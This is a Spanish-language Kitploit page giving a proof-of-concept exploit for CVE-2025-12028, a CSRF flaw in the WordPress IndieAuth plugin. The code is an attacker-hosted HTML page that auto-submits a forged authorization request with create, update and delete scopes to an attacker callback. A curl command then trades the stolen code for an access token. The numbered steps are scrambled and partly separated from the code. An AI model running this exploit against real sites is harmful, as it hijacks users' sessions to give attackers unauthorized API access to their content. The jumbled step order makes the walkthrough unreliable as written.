CVE-2025-12028 — Prueba de concepto del exploit para CVE-2025-12028 que demuestra el robo de tokens OAuth basado en CSRF en el plugin IndieAuth de WordPress, permitiendo acceso no autorizado a la API con credenciales robadas. | Kitploit

1) Inicie un servidor HTTP simple para alojar la página de prueba de concepto

mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000

2) Cree un archivo `/tmp/attacker/poc.html` con el siguiente contenido

<!doctype html>
<html>
  <body>
    <form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
      <input name="client_id" value="http://attacker.local/app">
      <input name="redirect_uri" value="http://127.0.0.1:8000/cb">
      <input name="state" value="csrf-12345">
      <input name="response_type" value="code">
      <input name="scope[]" value="create">
      <input name="scope[]" value="update">
      <input name="scope[]" value="delete">
    </form>
    <script>
      document.getElementById('x').submit();
    </script>
  </body>
</html>

curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -d "grant_type=authorization_code" \
  -d "code=PASTE_CODE_FROM_STEP_4" \
  -d "client_id=http://attacker.local/app" \
  -d "redirect_uri=http://127.0.0.1:8000/cb"

CVE-2025-12028

Más Populares

3) Dispare el PoC en una sesión de navegador autenticada

4) Observe la redirección de autorización

5) Intercambie el código por un token de acceso

6) Observe la respuesta del token

7) Verifique el token